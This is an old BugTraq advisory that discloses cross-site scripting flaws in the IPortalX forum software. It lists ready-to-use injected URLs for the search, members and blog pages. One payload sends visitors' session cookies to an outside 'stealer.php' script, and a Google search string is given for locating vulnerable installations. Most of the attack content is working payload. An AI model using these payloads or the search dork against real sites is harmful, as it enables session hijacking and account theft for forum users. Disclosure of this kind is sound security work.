BugTraq
IPortalX Forums Cross-Site Scripting Vulnerability Dec 27 2007 07:18AM
DoZ HackersCenter com
[HSC] IPortalX Forums Cross-Site Scripting Vulnerability

IPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Hackers Center Security Group (http://www.hackerscenter.com)

Credit: Doz

Class: Input Validation Error

Remote: Yes

Product:IPortalX

Version: All

Vendor: http://www.iportalx.net/

Attackers can exploit these issues via a web client.

Search XSS:

/forum/login_user.asp?Redirect=/forum/search.asp@KW=%22%3E%3Cscript%3Eal
ert(document.cookie);%3C/script%3E

/forum/login_user.asp?Redirect=/members.asp?SF=%22%3E%3Cscript%3Ealert(d
ocument.cookie);%3C/script%3E

Getting Cookie:

Path/forum/login_user.asp?FID=0&Redirect=/login_user.asp?Redirect=/membe
rs.asp?SF=%3Cscript%3Edocument.location=%22http://www.mysite/stealer.php
?cookie=%22%20+%20document.cookie;%3C/script%3E

Blog XSS:

/Path/blogs.asp?CID=0&AID=0&Date=%22%3E%3Cscript%3Ealert(document.cookie
);%3C/script%3E

Stack overflow: (using IE) - JS In .JPG uploaded to avatar.

http://img296.imageshack.us/img296/1318/hack1br6.jpg

Google Search:

http://www.google.com/search?hl=en&q=%2Fforum%2Flogin_user.asp%3FRedirec
t%3D%2F&btnG=Google+Search

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